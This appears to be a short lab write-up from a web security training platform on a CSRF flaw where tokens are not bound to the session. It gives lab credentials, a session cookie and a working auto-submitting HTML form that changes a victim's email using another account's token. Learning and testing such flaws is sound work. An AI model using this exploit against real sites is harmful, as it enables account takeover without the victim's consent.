CSRF where token is not tied to user session

CSRF Email Change Lab

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system.

Objective

Use the exploit server to host an HTML page that launches a CSRF attack to change the victim's email address.

Accounts Available

You have two accounts to test and help design the attack:

• wiener:peter
• carlos:montoya

Session Cookies

Carlos Session Cookie

Cookie: session=Y00t3UW4MWFNIM0TWdrPtiEkB1mY7VyK

Wiener Session Cookie

Updated session cookie:

Exploit HTML

The CSRF payload used to change the victim's email address:

<script>
  history.pushState('', '', '/');
</script>

<form action="https://0aa500ef0300be66c0cc02a8004d0020.web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="wienerattack&#64;xsisec&#46;com" />
  <input type="hidden" name="csrf" value="DaRVh6ik6Aswcu5XeyOC6aQOACqla4GT" />
</form>

<script>
  document.forms[0].submit();
</script>

Key Notes

• The application uses CSRF tokens, but they are not tied to the user's session.
• A valid CSRF token captured from one account, such as wiener, can be used to attack another account, such as carlos.
• When the victim visits the attacker's exploit page, the form is submitted automatically.
• The victim's browser sends their active session cookie with the request.
• The victim's email address is changed without their consent.